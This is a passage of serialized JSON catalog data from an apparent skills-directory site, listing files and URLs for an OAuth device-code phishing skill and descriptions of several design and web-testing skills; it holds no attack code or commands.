attacking-oauth-with-device-code-phishing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FSKILL.md",true,[65,69,75,79],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",3105,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fstandards.md",1494,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Freferences\u002Fstandards.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6707,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Fscripts\u002Fagent.py",[86,94,102,111,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":90,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]